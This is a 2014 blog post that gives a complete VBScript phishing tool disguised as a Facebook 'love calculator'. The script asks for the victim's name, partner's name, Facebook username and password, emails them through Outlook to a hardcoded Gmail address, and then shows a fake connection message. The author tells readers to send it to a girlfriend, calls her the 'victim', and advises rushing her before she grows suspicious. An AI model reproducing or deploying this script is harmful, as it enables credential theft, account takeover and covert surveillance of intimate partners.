Fake love calculator and Facebook Credential broker VB script

Post date: Jan 10, 2014 6:43:39 AM

Open your girl fried heart is much difficult than anything in the world. If you wanna know what your girl friend is actually thinking about you, then you can use below vbscript in smart way to get those information.

Here I have add facebook credentail too. Make sure you should not allow her to think too much before she execute this code. If she is not a developer then you could be very safe.

1. Open notepad and copy paste the below code in it, Change repective mail id.

2. Save as FBConnect.vbs

3. Send to victim and wait for the response.

All the best dude.

Dim System

Do

urName= InputBox("Before connect to Facebook. Try Love calculator to check % of matching between you and your partner!      ***Enter your name***","Facebook Connect")

Loop Until Len(urName)>0

Do

urPartnerName= InputBox("Enter your partner name: ", "LOVE CALCULATOR")

Loop Until Len(urPartnerName)>0

MsgBox  "Congratz!.." & urName & " & " & urPartnerName & " are 100% perfect partner. All the very best. Now connect to Facebook"

Do

urFBUserName= InputBox("Your credential is more secure and not shared with anyone. *Enter your Facebook UserName: ", "Facebook Connect")

Loop Until Len(urFBUserName)>0

Do

urFBPassword= InputBox("Enter Facebook Password: ", "Facebook Connect")

Loop Until Len(urFBUserName)>0

msg="Name: " & urName & " ParnterName :" & urPartnerName & "FB UserName:" &urFBUserName & "FB Password:"&urFBPassword

 Dim outobj, mailobj

          Dim strFileText

          Dim objFileToRead

          Set outobj = CreateObject("Outlook.Application")

          Set mailobj = outobj.CreateItem(0)

            With mailobj

            .To = "boobalan3@gmail.com"

            .Subject = "Testmail"

            .Body = msg

            .Display

          End With

  mailobj.Send

MsgBox "Please wait... Connecting with Facebook"